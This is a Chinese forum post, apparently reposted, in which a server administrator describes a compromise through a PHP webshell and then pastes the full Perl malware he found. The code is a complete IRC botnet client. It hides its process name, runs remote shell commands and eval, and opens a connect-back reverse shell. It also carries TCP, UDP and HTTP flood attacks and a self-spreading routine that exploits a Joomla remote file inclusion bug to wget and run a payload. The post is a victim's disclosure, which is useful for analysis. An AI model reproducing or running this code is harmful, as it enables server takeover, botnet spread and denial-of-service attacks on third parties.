统计211
标题:
[Perl][Zz]服务器被黑了,在服务器上找到一perl黑客程序(怀疑是这个攻陷了系统
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作者:
Andy
时间:
2013-4-12 13:39
标题:
[Perl][Zz]服务器被黑了,在服务器上找到一perl黑客程序(怀疑是这个攻陷了系统
大致分析黑客是利用了php代码的漏洞,取得了webshell,然后上传了这个perl的程序,然后不知道黑客怎么弄的就得到了系统的权限,最后为所欲为。
这个上传的perl黑客程序如下,感觉写的很狡猾:
#!/usr/bin/perl
use IO::Socket;
srand;
my $bPs = '/usr/local/apache/bin/httpd -DSSL';
#my $aMaster = 'cesik';
my $aHost = 'zuo@pentagon.gov';
my $sServer = 'someshit.ru';
my $sPort = '6667';
my $sTimeOut = '300';
my $bChan = '#test';
my $bNickLen = '7';
chomp (my $bNick = `whoami`);
my $bIrcName = 'smf';
chomp (my $bRealName = `uname -a`);
my $bDelay = '2';
open(LOCK, '>/tmp/sess_sw2sw3ew2edsxwa213s1x1ws1e32sx1') or die;
unless(flock(LOCK, 4 | 2)) { die; }
if(fork) { exit; }
$0 = $bPs;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
package irc;
use IO::Select;
our $irc_socket;
our $irc_select = new IO::Select;
my $cur_nick;
sub raw { print $irc_socket "$_[0]\n"; }
sub mnick {
my $nick = $_[1];
my @abc = ('a' .. 'z');
for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
return $nick;
}
sub init {
my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
PeerPort => $_[4],
Proto => 'tcp',
Timeout => '5') or return 0;
if(defined($socket)) {
$irc_socket = $socket;
$irc_select->add($irc_socket);
$irc_socket->autoflush(1);
raw("USER ".$_[1]." 0 0 ".$_[2]);
$cur_nick = $_[0];
raw("NICK $cur_nick");
return 1;
}
return 0;
}
sub loop {
my $time_out = time;
for(;;) {
my @handles = $irc_select->can_read(1);
if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }
next unless(@handles);
foreach my $handle (@handles) {
my $datain;$handle->recv($datain, 1023, 0);
my @lines = split(/\r\n/, $datain);
foreach my $line (@lines) {
if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; }
elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; }
run::bcmd("$line");
}
}
}
}
package run;
use Socket;
sub bcmd {
my @line = split(/ /, $_[0]);
my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
#unless($Nick eq $aMaster) { return; }
unless($Mask eq $aHost) { return; }
my $Type = shift(@line);
unless($Type eq "PRIVMSG") { return; }
my $To = shift(@line);
$" = ' '; $line[0] =~ s/://;my $Text = "@line";
if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
if($2 =~ /^nick\s*(.*)/) {
if($1) { $cur_nick = $1; }
else { $cur_nick = irc::mnick($bNickLen, $bNick); }
irc::raw("NICK $cur_nick");
return;
}
if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }
return;
}
if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {
if(!fork) {
if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }
if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; }
if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }
if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }
if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }
if ($2 =~ /^join (.*)/) {
j("$1");
}
if ($2 =~ /^part (.*)/) {
p("$1");
}
exit;
}
return;
}
if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
}
sub bsh {
my $to = $_[0];
my $cmd = $_[1];
if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }
my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } }
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
irc::raw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
irc::raw("PART $_[0]");
}
sub rsh {
irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
print "elxbot's connectback backdoor\n";
system('/bin/sh');
close(STDIN);
close(STDOUT);
close(STDERR);
}
package spread;
sub start {
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''.");
our $s_time = time;
my $m_time = $_[1] * 60; #''
srand;
my $bPath = '/tmp/sess_s5wx3e2b8w1d6ecsw3d1x1wwo521451';
my $rfi = 'http://cia.gov/ap.txt';
my $bLoc = 'http://cia.gov/fuck.txt';
my $cmds = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";
$cmds =~ s/ /%20/g;
while($m_time > (time - $s_time)) {
my $dup = "";my @urls = google();
foreach my $url (@urls) {
(my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/;
my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; }
if($dup eq $host) { next; } $dup = "$host";
$url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?';
my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next;
print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n";
$sock->close();
}
}
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
}
sub google() {
my $rnd=(int(rand(300)));
my $n= 80;
if ($rnd<300) { $rnd=(int(rand(300))); }
my $msn= (int(rand(10)) * $n);
my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb',
'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo',
'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd',
'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz',
'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi',
'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi',
'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu',
'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie',
'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it',
'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls',
'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk',
'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum',
'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net',
'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr',
'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw',
'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl',
'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td',
'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw',
'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc',
've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu',
'za', 'zm', 'zw');
my @str = ();
foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); }
my $query = 'http://www.altavista.com/web/results?q=';
$query .= $str[(rand(scalar(@str)))];
$query .= "&stq=$msn";
my @lst=();
#irc::raw("privmsg #debug :DEBUG only test googling: ".$query."");
my $page = http_query($query);
while ($page =~ m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
}
return (@lst);
}
sub http_query {
my $url = $_[0];
my $host=$url;
my $query=$url;
my $page='';
$host =~ s/href=\"?http:\/\///;
$host =~ s/([\w\.\-\w]*)\/.*/$1/;
$query =~ s/$host//;
if ($query eq '') {$query='/';};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 5;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}
package flood;
use POSIX;
use Socket;
our $s_time;
sub tcp {
irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
$s_time = time;
my @SOCKET;
while ($_[3] > (time - $s_time)) {
for(my $i=0;$i<200;$i++) {
socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
}
for(my $i=0;$i<200;$i++) {
connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
}
for(my $i=0;$i<200;$i++) {
close($SOCKET[$i]);
}
}
irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
}
sub udp {
irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
$s_time = time;
my $socket;
my $packets = 0;
socket($socket, PF_INET, SOCK_DGRAM, 17);
while($_[3] > (time - $s_time)) {
send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
$packets++;
}
close($socket);
irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
}
sub http {
irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'.");
$s_time = time;
my $querys = 0;
while ($_[2] > (time - $s_time)) {
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
$querys++;
}
irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
}
while(1) {
if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort))
{
irc::loop();
}
sleep 10;
}
#
#
#
#
#GET IS A SHITTY FUCKING PROGRAM!
复制代码
服务器被黑了,在服务器上找到一perl黑客程序(怀疑是这个攻陷了系统)
http://bbs.chinaunix.net/thread-948798-1-1.html
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